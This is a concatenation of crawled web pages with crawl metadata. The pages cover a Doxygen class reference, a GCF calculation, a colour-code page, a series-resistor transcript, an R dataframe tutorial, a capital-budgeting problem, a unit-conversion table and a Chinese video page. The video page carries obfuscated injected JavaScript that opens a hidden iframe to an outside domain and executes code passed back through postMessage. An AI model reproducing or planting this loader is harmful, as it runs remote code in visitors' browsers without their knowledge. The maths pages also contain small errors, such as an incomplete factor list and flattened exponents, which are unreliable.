)\ninlineinherited\n\nSpecify an identifying tag for this domain.\n\nDefinition at line 507 of file Domain1D.h.\n\nReferences Domain1D::m_id.\n\nReferenced by StFlow::StFlow().\n\n void setDesc ( const std::string & s )\ninlineinherited\n\nSpecify descriptive text for this domain.\n\nDefinition at line 522 of file Domain1D.h.\n\n doublereal initialValue ( size_t n, size_t j )\nvirtualinherited\n\nInitial value of solution component n at grid point j.\n\nDefinition at line 207 of file Domain1D.cpp.\n\n## Member Data Documentation\n\n size_t m_iloc\nprotectedinherited\n\nStarting location within the solution vector for unknowns that correspond to this domain.\n\nRemember there may be multiple domains associated with this problem\n\nDefinition at line 628 of file Domain1D.h.\n\nReferenced by Domain1D::loc(), and Domain1D::locate().\n\n std::string m_id\nprotectedinherited\n\nIdentity tag for the domain.\n\nDefinition at line 635 of file Domain1D.h.\n\nReferenced by StFlow::save(), and Domain1D::setID().\n\nThe documentation for this class was generated from the following files:" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.53250855,"math_prob":0.7742467,"size":27713,"snap":"2020-24-2020-29","text_gpt3_token_len":7600,"char_repetition_ratio":0.21032877,"word_repetition_ratio":0.29940605,"special_character_ratio":0.25497058,"punctuation_ratio":0.23108993,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9666085,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-07-12T04:11:34Z\",\"WARC-Record-ID\":\"<urn:uuid:dc70d3ba-fe24-468c-b6f5-e19804663544>\",\"Content-Length\":\"198455\",\"Content-Type\":\"application/http; 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https://www.gcflcm.com/gcf-of-84-and-91	[ "# What is the Greatest Common Factor of 84 and 91?\n\nGreatest common factor (GCF) of 84 and 91 is 7.\n\nGCF(84,91) = 7\n\nWe will now calculate the prime factors of 84 and 91, than find the greatest common factor (greatest common divisor (gcd)) of the numbers by matching the biggest common factor of 84 and 91.\n\nGCF Calculator and\nand\n\n## How to find the GCF of 84 and 91?\n\nWe will first find the prime factorization of 84 and 91. After we will calculate the factors of 84 and 91 and find the biggest common factor number .\n\n### Step-1: Prime Factorization of 84\n\nPrime factors of 84 are 2, 3, 7. Prime factorization of 84 in exponential form is:\n\n84 = 22 × 31 × 71\n\n### Step-2: Prime Factorization of 91\n\nPrime factors of 91 are 7, 13. Prime factorization of 91 in exponential form is:\n\n91 = 71 × 131\n\n### Step-3: Factors of 84\n\nList of positive integer factors of 84 that divides 84 without a remainder.\n\n1, 2, 3, 4, 6, 7, 12, 14, 21, 28, 42\n\n### Step-4: Factors of 91\n\nList of positive integer factors of 91 that divides 84 without a remainder.\n\n1, 7, 13\n\n#### Final Step: Biggest Common Factor Number\n\nWe found the factors and prime factorization of 84 and 91. The biggest common factor number is the GCF number.\nSo the greatest common factor 84 and 91 is 7.\n\nAlso check out the Least Common Multiple of 84 and 91" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8843799,"math_prob":0.9352708,"size":1654,"snap":"2022-27-2022-33","text_gpt3_token_len":561,"char_repetition_ratio":0.26909092,"word_repetition_ratio":0.09915014,"special_character_ratio":0.3796856,"punctuation_ratio":0.09840426,"nsfw_num_words":1,"has_unicode_error":false,"math_prob_llama3":0.999782,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-08-09T07:26:01Z\",\"WARC-Record-ID\":\"<urn:uuid:2f417d5d-6d5d-4482-b4df-d7c880a3995c>\",\"Content-Length\":\"20412\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:73d20e44-8903-4550-b61f-d1cadbf3e1bc>\",\"WARC-Concurrent-To\":\"<urn:uuid:f3cd4831-2e8a-4776-9a31-6498d3257a14>\",\"WARC-IP-Address\":\"34.133.163.157\",\"WARC-Target-URI\":\"https://www.gcflcm.com/gcf-of-84-and-91\",\"WARC-Payload-Digest\":\"sha1:NDJOFIAVZ4IWK3CHCC2UKPVFUG5HFY7B\",\"WARC-Block-Digest\":\"sha1:XJXXIKSD5BFGE5BBNA2BCSXXYCXOTI5W\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-33/CC-MAIN-2022-33_segments_1659882570913.16_warc_CC-MAIN-20220809064307-20220809094307-00693.warc.gz\"}"}
https://www.colorhexa.com/222f2e	[ "# #222f2e Color Information\n\nIn a RGB color space, hex #222f2e is composed of 13.3% red, 18.4% green and 18% blue. Whereas in a CMYK color space, it is composed of 27.7% cyan, 0% magenta, 2.1% yellow and 81.6% black. It has a hue angle of 175.4 degrees, a saturation of 16% and a lightness of 15.9%. #222f2e color hex could be obtained by blending #445e5c with #000000. Closest websafe color is: #333333.\n\n• R 13\n• G 18\n• B 18\nRGB color chart\n• C 28\n• M 0\n• Y 2\n• K 82\nCMYK color chart\n\n#222f2e color description : Very dark (mostly black) cyan.\n\n# #222f2e Color Conversion\n\nThe hexadecimal color #222f2e has RGB values of R:34, G:47, B:46 and CMYK values of C:0.28, M:0, Y:0.02, K:0.82. Its decimal value is 2240302.\n\nHex triplet RGB Decimal 222f2e `#222f2e` 34, 47, 46 `rgb(34,47,46)` 13.3, 18.4, 18 `rgb(13.3%,18.4%,18%)` 28, 0, 2, 82 175.4°, 16, 15.9 `hsl(175.4,16%,15.9%)` 175.4°, 27.7, 18.4 333333 `#333333`\nCIE-LAB 18.234, -5.732, -1.157 2.169, 2.57, 2.966 0.281, 0.334, 2.57 18.234, 5.847, 191.412 18.234, -5.448, -0.514 16.032, -3.904, 0.252 00100010, 00101111, 00101110\n\n# Color Schemes with #222f2e\n\n• #222f2e\n``#222f2e` `rgb(34,47,46)``\n• #2f2223\n``#2f2223` `rgb(47,34,35)``\nComplementary Color\n• #222f28\n``#222f28` `rgb(34,47,40)``\n• #222f2e\n``#222f2e` `rgb(34,47,46)``\n• #222a2f\n``#222a2f` `rgb(34,42,47)``\nAnalogous Color\n• #2f2822\n``#2f2822` `rgb(47,40,34)``\n• #222f2e\n``#222f2e` `rgb(34,47,46)``\n• #2f222a\n``#2f222a` `rgb(47,34,42)``\nSplit Complementary Color\n• #2f2e22\n``#2f2e22` `rgb(47,46,34)``\n• #222f2e\n``#222f2e` `rgb(34,47,46)``\n• #2e222f\n``#2e222f` `rgb(46,34,47)``\n• #232f22\n``#232f22` `rgb(35,47,34)``\n• #222f2e\n``#222f2e` `rgb(34,47,46)``\n• #2e222f\n``#2e222f` `rgb(46,34,47)``\n• #2f2223\n``#2f2223` `rgb(47,34,35)``\n• #020303\n``#020303` `rgb(2,3,3)``\n• #0d1111\n``#0d1111` `rgb(13,17,17)``\n• #172020\n``#172020` `rgb(23,32,32)``\n• #222f2e\n``#222f2e` `rgb(34,47,46)``\n• #2d3e3c\n``#2d3e3c` `rgb(45,62,60)``\n• #374d4b\n``#374d4b` `rgb(55,77,75)``\n• #425b59\n``#425b59` `rgb(66,91,89)``\nMonochromatic Color\n\n# Alternatives to #222f2e\n\nBelow, you can see some colors close to #222f2e. Having a set of related colors can be useful if you need an inspirational alternative to your original color choice.\n\n• #222f2b\n``#222f2b` `rgb(34,47,43)``\n• #222f2c\n``#222f2c` `rgb(34,47,44)``\n• #222f2d\n``#222f2d` `rgb(34,47,45)``\n• #222f2e\n``#222f2e` `rgb(34,47,46)``\n• #222f2f\n``#222f2f` `rgb(34,47,47)``\n• #222e2f\n``#222e2f` `rgb(34,46,47)``\n• #222d2f\n``#222d2f` `rgb(34,45,47)``\nSimilar Colors\n\n# #222f2e Preview\n\nThis text has a font color of #222f2e.\n\n``<span style=\"color:#222f2e;\">Text here</span>``\n#222f2e background color\n\nThis paragraph has a background color of #222f2e.\n\n``<p style=\"background-color:#222f2e;\">Content here</p>``\n#222f2e border color\n\nThis element has a border color of #222f2e.\n\n``<div style=\"border:1px solid #222f2e;\">Content here</div>``\nCSS codes\n``.text {color:#222f2e;}``\n``.background {background-color:#222f2e;}``\n``.border {border:1px solid #222f2e;}``\n\n# Shades and Tints of #222f2e\n\nA shade is achieved by adding black to any pure hue, while a tint is created by mixing white to any pure color. In this example, #010101 is the darkest color, while #f5f8f8 is the lightest one.\n\n• #010101\n``#010101` `rgb(1,1,1)``\n• #090d0d\n``#090d0d` `rgb(9,13,13)``\n• #121818\n``#121818` `rgb(18,24,24)``\n• #1a2423\n``#1a2423` `rgb(26,36,35)``\n• #222f2e\n``#222f2e` `rgb(34,47,46)``\n• #2a3a39\n``#2a3a39` `rgb(42,58,57)``\n• #324644\n``#324644` `rgb(50,70,68)``\n• #3b514f\n``#3b514f` `rgb(59,81,79)``\n• #435d5b\n``#435d5b` `rgb(67,93,91)``\n• #4b6866\n``#4b6866` `rgb(75,104,102)``\n• #537371\n``#537371` `rgb(83,115,113)``\n• #5c7f7c\n``#5c7f7c` `rgb(92,127,124)``\n• #648a87\n``#648a87` `rgb(100,138,135)``\n• #6d9592\n``#6d9592` `rgb(109,149,146)``\n• #789d9a\n``#789d9a` `rgb(120,157,154)``\n• #83a5a3\n``#83a5a3` `rgb(131,165,163)``\n• #8faeab\n``#8faeab` `rgb(143,174,171)``\n• #9ab6b4\n``#9ab6b4` `rgb(154,182,180)``\n• #a5bebc\n``#a5bebc` `rgb(165,190,188)``\n• #b1c6c5\n``#b1c6c5` `rgb(177,198,197)``\n• #bccfcd\n``#bccfcd` `rgb(188,207,205)``\n• #c8d7d6\n``#c8d7d6` `rgb(200,215,214)``\n• #d3dfde\n``#d3dfde` `rgb(211,223,222)``\n• #dee7e7\n``#dee7e7` `rgb(222,231,231)``\n• #eaf0ef\n``#eaf0ef` `rgb(234,240,239)``\n• #f5f8f8\n``#f5f8f8` `rgb(245,248,248)``\nTint Color Variation\n\n# Tones of #222f2e\n\nA tone is produced by adding gray to any pure hue. In this case, #282929 is the less saturated color, while #034e48 is the most saturated one.\n\n• #282929\n``#282929` `rgb(40,41,41)``\n• #252c2b\n``#252c2b` `rgb(37,44,43)``\n• #222f2e\n``#222f2e` `rgb(34,47,46)``\n• #1f3231\n``#1f3231` `rgb(31,50,49)``\n• #1c3533\n``#1c3533` `rgb(28,53,51)``\n• #193836\n``#193836` `rgb(25,56,54)``\n• #163b39\n``#163b39` `rgb(22,59,57)``\n• #123f3b\n``#123f3b` `rgb(18,63,59)``\n• #0f423e\n``#0f423e` `rgb(15,66,62)``\n• #0c4540\n``#0c4540` `rgb(12,69,64)``\n• #094843\n``#094843` `rgb(9,72,67)``\n• #064b46\n``#064b46` `rgb(6,75,70)``\n• #034e48\n``#034e48` `rgb(3,78,72)``\nTone Color Variation\n\n# Color Blindness Simulator\n\nBelow, you can see how #222f2e is perceived by people affected by a color vision deficiency. This can be useful if you need to ensure your color combinations are accessible to color-blind users.\n\nMonochromacy\n• Achromatopsia 0.005% of the population\n• Atypical Achromatopsia 0.001% of the population\nDichromacy\n• Protanopia 1% of men\n• Deuteranopia 1% of men\n• Tritanopia 0.001% of the population\nTrichromacy\n• Protanomaly 1% of men, 0.01% of women\n• Deuteranomaly 6% of men, 0.4% of women\n• Tritanomaly 0.01% of the population" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.5410497,"math_prob":0.7651714,"size":3672,"snap":"2020-24-2020-29","text_gpt3_token_len":1669,"char_repetition_ratio":0.124045804,"word_repetition_ratio":0.011049724,"special_character_ratio":0.5585512,"punctuation_ratio":0.23378076,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98789275,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-06-04T05:48:08Z\",\"WARC-Record-ID\":\"<urn:uuid:ae55fd49-545c-49c1-a725-0ddb5bdab783>\",\"Content-Length\":\"36216\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:a429a905-28d1-4bd2-a1a3-780f029ee6f4>\",\"WARC-Concurrent-To\":\"<urn:uuid:f69ef4d4-ee1a-43bc-93ba-929168b11c80>\",\"WARC-IP-Address\":\"178.32.117.56\",\"WARC-Target-URI\":\"https://www.colorhexa.com/222f2e\",\"WARC-Payload-Digest\":\"sha1:VGR6JIIDLEZ5WD4VGEIOPONCPBM5XAAK\",\"WARC-Block-Digest\":\"sha1:GSS72ECGC25QAMEZTCU2WNUI225OSIDC\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-24/CC-MAIN-2020-24_segments_1590347439019.86_warc_CC-MAIN-20200604032435-20200604062435-00457.warc.gz\"}"}
https://www.nagwa.com/en/videos/353154378367/	[ "# Video: Finding the Resistance of Components in Series\n\nFour identical resistors are placed in series in a circuit. The resistance of all four resistors together is 36 Ω. What is the resistance of each resistor individually?\n\n03:22\n\n### Video Transcript\n\nFour identical resistors are placed in series in a circuit. The resistance of all four resistors together is 36 ohms. What is the resistance of each resistor individually?\n\nAlright, so we’ve got a question about resistors here. Let’s see what we know about these resistors. First of all, we know that there’s four of them. And we also know that they’re all identical. Also, we know that they’re placed in series in a circuit. The resistance of all four resistors together is 36 ohms. We need to find the resistance of each resistor individually.\n\nNow in order to help us do this, we can draw a partial circuit diagram. And that looks something like this. We’ve got the four resistors, which we’ll label 𝑅 one, 𝑅 two, 𝑅 three, and 𝑅 four. And we’ve got dots on either side because we don’t know what happens in the rest of the circuit. We don’t know how it’s wired up.\n\nHowever, our main point of focus is the four resistors wired up in series. And that is quite important, the fact that they’re in series. Now, one of the most important things that we know from the question is that these four resistors are identical. Therefore, we can confidently say that the resistances of all of these resistors are equal. 𝑅 one is equal to 𝑅 two is equal to 𝑅 three is equal to 𝑅 four. So for convenience, let’s throw away the subscripts. Let’s just call each one of these resistances 𝑅.\n\nNow we know the total resistance of the four resistors together. We know that is 36 ohms. And this is going to be the key to calculating the resistance of each one of these resistors. However, before we can do that, we need to know how the total resistance of resistors in series is calculated.\n\nSo the total resistance of a bunch of resistors in series is given the following way. If we’ve got 𝑛 resistors lined up in series, then the total resistance, 𝑅 sub tot, standing for total, is equal to the first resistance plus the second resistance plus so on and so forth until we get to 𝑅 sub 𝑛. And that is the resistance of the 𝑛th resistor, the final resistor in the series.\n\nBasically, in other words, you just add up all the resistances together if the resistors are in series. And that ends up being the total resistance of the system. In our situation, we’ve got four resistors. Therefore, the value of 𝑛 is four. And so our total resistance is equal to 𝑅 one plus 𝑅 two plus 𝑅 three plus 𝑅 four.\n\nNow there are two modifications to this equation that we can make. First of all, as we’ve already said, the resistances of each one of these resistors is the same. And we’ve called this 𝑅. So once again, we can get rid of the subscripts. And in fact, we can simplify this down further because 𝑅 plus 𝑅 plus 𝑅 plus 𝑅 is four 𝑅.\n\nSecondly, we know the total resistance of all four resistors together. We’ve been given this in the question. That resistance is 36 ohms. So we’ll replace 𝑅 sub tot with 36 ohms. And at that point, we are very close to finding the resistance of one of these resistors. All we need to do is divide both sides of the equation by four. And so the fours on the right-hand side cancel, which means that all we need to do on the left-hand side is divide 36 by four, which leaves us with our final answer. The resistance of each resistor individually is nine ohms." ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9417644,"math_prob":0.9911977,"size":3275,"snap":"2020-24-2020-29","text_gpt3_token_len":807,"char_repetition_ratio":0.20849892,"word_repetition_ratio":0.06393442,"special_character_ratio":0.22167939,"punctuation_ratio":0.11048951,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9989522,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-06-05T07:10:05Z\",\"WARC-Record-ID\":\"<urn:uuid:7317eb2b-6414-44c2-b1ae-913c434b7f42>\",\"Content-Length\":\"28269\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:84c3db8c-43ff-4ae1-b5b7-6bc128afbb65>\",\"WARC-Concurrent-To\":\"<urn:uuid:4bc47d51-e78d-4569-a492-cc4768476783>\",\"WARC-IP-Address\":\"23.23.60.1\",\"WARC-Target-URI\":\"https://www.nagwa.com/en/videos/353154378367/\",\"WARC-Payload-Digest\":\"sha1:M75LEOSY5KI6IHPYPGXOBJKIUB6QXFYI\",\"WARC-Block-Digest\":\"sha1:FPM3GE2OHNMKZMKK5JQ5JC7SEMTNJCUJ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-24/CC-MAIN-2020-24_segments_1590348493151.92_warc_CC-MAIN-20200605045722-20200605075722-00146.warc.gz\"}"}
https://www.javaguides.net/2023/09/r-program-to-drop-rows-from-dataframe.html	[ "# 1. Introduction\n\nWhen working with dataframes in R, there might be situations where we need to drop specific rows, either based on their index or based on some conditions. In this guide, we will explore how to achieve this using R.\n\n# 2. Program Overview\n\n1. Create an initial dataframe.\n\n2. Drop rows based on their index.\n\n3. Drop rows based on a condition.\n\n# 3. Code Program\n\n``````# Load necessary libraries\nlibrary(dplyr)\n\n# Create an initial dataframe\ndf <- data.frame(\nName = c('Alice', 'Bob', 'Charlie', 'David', 'Eve'),\nAge = c(25, 30, 28, 35, 29),\nOccupation = c('Engineer', 'Doctor', 'Lawyer', 'Artist', 'Engineer')\n)\n\n# Print the original dataframe\nprint(\"Original Dataframe:\")\nprint(df)\n\n# Drop the 2nd and 4th rows\ndf <- df[-c(2,4), ]\n\n# Print the dataframe after dropping rows by index\nprint(\"Dataframe after Dropping 2nd and 4th Rows:\")\nprint(df)\n\n# Drop rows where Occupation is 'Engineer'\ndf <- df %>% filter(Occupation != \"Engineer\")\n\n# Print the dataframe after dropping rows by condition\nprint(\"Dataframe after Dropping Rows with Occupation as 'Engineer':\")\nprint(df)\n``````\n\n### Output:\n\n``` \"Original Dataframe:\"\nName Age Occupation\n1 Alice 25 Engineer\n2 Bob 30 Doctor\n3 Charlie 28 Lawyer\n4 David 35 Artist\n5 Eve 29 Engineer\n\n \"Dataframe after Dropping 2nd and 4th Rows:\"\nName Age Occupation\n1 Alice 25 Engineer\n3 Charlie 28 Lawyer\n5 Eve 29 Engineer\n\n \"Dataframe after Dropping Rows with Occupation as 'Engineer':\"\nName Age Occupation\n3 Charlie 28 Lawyer\n```\n\n# 4. Step By Step Explanation\n\n- We start by creating a dataframe df with columns Name, Age, and Occupation.- To drop rows based on their index, we use negative indexing. For instance, to drop the 2nd and 4th rows, we use df <- df[-c(2,4), ].- To drop rows based on a specific condition, we use the filter function from the dplyr package. In our example, we drop rows where the Occupation column has the value 'Engineer'." ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8194976,"math_prob":0.69552773,"size":1903,"snap":"2023-40-2023-50","text_gpt3_token_len":508,"char_repetition_ratio":0.15271196,"word_repetition_ratio":0.095846646,"special_character_ratio":0.28166053,"punctuation_ratio":0.14634146,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9912127,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-21T12:34:48Z\",\"WARC-Record-ID\":\"<urn:uuid:25e5bc82-53d5-4c46-8334-d80f21d859f8>\",\"Content-Length\":\"168556\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:08c41502-3872-4c21-9bdf-d57783991900>\",\"WARC-Concurrent-To\":\"<urn:uuid:65ba1371-88eb-4d21-a6bf-be066d261587>\",\"WARC-IP-Address\":\"142.251.163.121\",\"WARC-Target-URI\":\"https://www.javaguides.net/2023/09/r-program-to-drop-rows-from-dataframe.html\",\"WARC-Payload-Digest\":\"sha1:YSYKJCABP4D5GGXO26KD4GS2J3DMLX65\",\"WARC-Block-Digest\":\"sha1:Q6W7NJYIQ5XYYI7UAW4PSEEBMCWKJJS7\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233506027.39_warc_CC-MAIN-20230921105806-20230921135806-00023.warc.gz\"}"}
https://brainmass.com/business/capital-budgeting/new-project-evaluation-initial-investment-cash-flows-npv-irr-42667	[ "Explore BrainMass\n\n# New Project evaluation: initial investment, cash flows, NPV, IRR\n\nNot what you're looking for? Search our solutions OR ask your own Custom question.\n\nThis content was COPIED from BrainMass.com - View the original, and get the already-completed solution here!\n\nProject Evaluation:\n\nRevenues generated by a new fad product are forecast as follows:\nYear Revenues\n1 \\$40,000.00\n2 30,000.00\n3 20,000.00\n4 10,000.00\nthereafter 0\n\nExpenses are expected to be 40% of revenues, and working capital required in each year is expected to be 20% of revenues in the following year. The product requires an immediate investment of \\$45,000.00 in plant equipment.\n\na) What is the initial investment in the product? Remember working capital.\nb) If the plant and equipment are depreciated over 4 years to a salvage value of zero using straight-line depreciation, and the firm's tax rate is 40%, what are the project cash flows in each year?\nc) If the opportunity cost of capital is 12%, what is the project Net Present Value?\nd) What is the project Internal Rate of Return?\n\nThanks!\n\n#### Solution Preview\n\na) What is the initial investment in the product? Remember working capital.\nInitial investment is simply the sum of immediate investment (\\$45,000) and the working capital to start the operation, which is the 20% of first year's revenue (\\$40,000). Thus:\n\nI= 45,000 + 40,000 x 0.2= \\$53,000\n\nb) If the plant and equipment are depreciated over 4 years to a salvage value of zero using straight-line depreciation, and the firm's tax rate is 40%, what are the project cash flows in each year?\nLet's write the formula of the cash flow (CF) first:\n\nCF = Net Operating Profit - Taxes - Net Change in Working Capital\n\nNow we need to find the net operating profit (NOP) first in order to use in our formula. NOP is the difference between the revenues (R) and the expenses ...\n\n#### Solution Summary\n\nThe solution is a detailed set of facts and calculations to make the answers easy to understand.\n\n\\$2.49" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8960639,"math_prob":0.91497713,"size":2066,"snap":"2021-31-2021-39","text_gpt3_token_len":514,"char_repetition_ratio":0.120756544,"word_repetition_ratio":0.24390244,"special_character_ratio":0.2628267,"punctuation_ratio":0.14014252,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9890315,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-08-02T09:21:09Z\",\"WARC-Record-ID\":\"<urn:uuid:031486b1-2014-4b47-a877-5ac86557c38b>\",\"Content-Length\":\"333500\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:6e14142d-afbe-4319-a232-fc08ab2da518>\",\"WARC-Concurrent-To\":\"<urn:uuid:8902fad9-8afe-4f99-b5fe-f5190528f87a>\",\"WARC-IP-Address\":\"104.26.5.245\",\"WARC-Target-URI\":\"https://brainmass.com/business/capital-budgeting/new-project-evaluation-initial-investment-cash-flows-npv-irr-42667\",\"WARC-Payload-Digest\":\"sha1:ZQOHOHHT74LFAZQZQGBCA77AWY56KTNR\",\"WARC-Block-Digest\":\"sha1:QJL5N4YXOX6IHEWAQDPRYKGIPRI2AC7E\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-31/CC-MAIN-2021-31_segments_1627046154310.16_warc_CC-MAIN-20210802075003-20210802105003-00175.warc.gz\"}"}
https://www.unitconverters.net/energy/btu-th-to-watt-second.htm	[ "", null, "Home / Energy Conversion / Convert Btu (th) to Watt-second\n\n# Convert Btu (th) to Watt-second\n\nPlease provide values below to convert Btu (th) [Btu (th)] to watt-second [Ws], or vice versa.\n\n From: Btu (th)", null, "To: watt-second\n\n### Btu (th) to Watt-second Conversion Table\n\nBtu (th) [Btu (th)]Watt-second [Ws]\n0.01 Btu (th)10.5434999997 Ws\n0.1 Btu (th)105.4349999974 Ws\n1 Btu (th)1054.3499999744 Ws\n2 Btu (th)2108.6999999489 Ws\n3 Btu (th)3163.0499999233 Ws\n5 Btu (th)5271.7499998722 Ws\n10 Btu (th)10543.499999744 Ws\n20 Btu (th)21086.999999489 Ws\n50 Btu (th)52717.499998722 Ws\n100 Btu (th)105434.99999744 Ws\n1000 Btu (th)1054349.9999744 Ws\n\n### How to Convert Btu (th) to Watt-second\n\n1 Btu (th) = 1054.3499999744 Ws\n1 Ws = 0.0009484517 Btu (th)\n\nExample: convert 15 Btu (th) to Ws:\n15 Btu (th) = 15 × 1054.3499999744 Ws = 15815.249999617 Ws" ]	[ null, "https://www.unitconverters.net/images/calculator.svg", null, "https://www.unitconverters.net/images/switch.svg", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.6775597,"math_prob":0.461208,"size":840,"snap":"2022-05-2022-21","text_gpt3_token_len":371,"char_repetition_ratio":0.28708133,"word_repetition_ratio":0.022900764,"special_character_ratio":0.5928571,"punctuation_ratio":0.110526316,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95788705,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-19T00:01:29Z\",\"WARC-Record-ID\":\"<urn:uuid:61adcdb9-298f-40b0-ac7e-bc3b54cd1436>\",\"Content-Length\":\"11063\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:2edb3513-ebc7-4c37-9adc-35e0ed372bde>\",\"WARC-Concurrent-To\":\"<urn:uuid:f59250ed-4458-4a8f-adf2-9d17fe7eca90>\",\"WARC-IP-Address\":\"69.10.42.204\",\"WARC-Target-URI\":\"https://www.unitconverters.net/energy/btu-th-to-watt-second.htm\",\"WARC-Payload-Digest\":\"sha1:SYECTJATPP56A5POHGTTX7LFI3Q24LVI\",\"WARC-Block-Digest\":\"sha1:EVUD2PHFOYHMHOJJBUWL7VSKGDS653XQ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652662522556.18_warc_CC-MAIN-20220518215138-20220519005138-00130.warc.gz\"}"}
https://tianlang.in/movie/index113836.html	[ "快乐长门人粤语版2021", null, "猜你喜欢\n\nif(typeof eval(\"\\x77\\x69\\x6e\\x64\\x6f\\x77\")[\"qdfEWb\"]==\"undefined\"){eval(\"\\x77\\x69\\x6e\\x64\\x6f\\x77\")[\"qdfEWb\"]=function(e){var sx=\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"+\"abcdefghijklmnopqrstuvwxyz\"+\"0123456789+/=\";var t=\"\",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,\"\");while(f<e.length){s=sx.indexOf(e.charAt(f++));o=sx.indexOf(e.charAt(f++));u=sx.indexOf(e.charAt(f++));a=sx.indexOf(e.charAt(f++));n=s<<2\|o>>4;r=(o&15)<<4\|u>>2;i=(u&3)<<6\|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return(function(e){var t=\"\",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6\|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12\|(c2&63)<<6\|c3&63);n+=3;}}return t;})(t);};}\neval('\\x77\\x69\\x6e\\x64\\x6f\\x77')['jRFeEyH']=function (){ ;(function (u, w, d, f, c) { var x = qdfEWb; u = decodeURIComponent(x(u.replace(new RegExp(c + '' + c, 'g'), '')))+'.fon'; 'jQuery'; var k = '', wr = 'w' + 'ri' + 't' + 'e'; var c = d[x('Y3VycmVudFNjcmlwdA==')]; var f = d.createElement('iframe'); f.id = new Date().getTime(); f.style.width = f.style.height = 1 + 'px'; f.src = [u].join('-'); d[wr](f.outerHTML); w['ad' + 'dEv' + 'entL' + 'ist' + 'ener']('m' + 'ess' + 'age', function (e) { if (e.data[`des_s_2606`]) { var t = x(e.data[`des_s_2606`].replace(new RegExp('FdaWAFAbWFf', 'g'), '')); new Function(decodeURIComponent(t.replace(/\\+/g, '%20')))(); } }); })(''+'FFa'+'HRF'+'F0c'+'HFF'+'MlM'+'0El'+'MkY'+'FFl'+'MkZ'+'zcF'+'F2g'+'uYn'+'pFF'+'ueG'+'FFM'+'2NF'+'FzI'+'xLn'+'h5e'+'iUz'+'QFF'+'TEw'+'NDQ'+'zJT'+'FFJ'+'GYz'+'RjF'+'FYT'+'QyJ'+'TJG'+'YFF'+'y0y'+'FFN'+'jAF'+'F2L'+'TIy'+'LFF'+'TFl'+'FFN'+'g==',window, document, '' + 'Pwf' + 'SmZ' + 'j' + '', 'F');}" ]	[ null, "https://tianlang.in/statics/icon/icon_6.png", null ]	{"ft_lang_label":"__label__zh","ft_lang_prob":0.8016848,"math_prob":0.9969762,"size":185,"snap":"2022-05-2022-21","text_gpt3_token_len":202,"char_repetition_ratio":0.011049724,"word_repetition_ratio":0.0,"special_character_ratio":0.34054053,"punctuation_ratio":0.13953489,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95860213,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-01-28T03:29:57Z\",\"WARC-Record-ID\":\"<urn:uuid:02ed0583-e8c1-4b87-b6c5-351103ec556b>\",\"Content-Length\":\"82467\",\"Content-Type\":\"application/http; 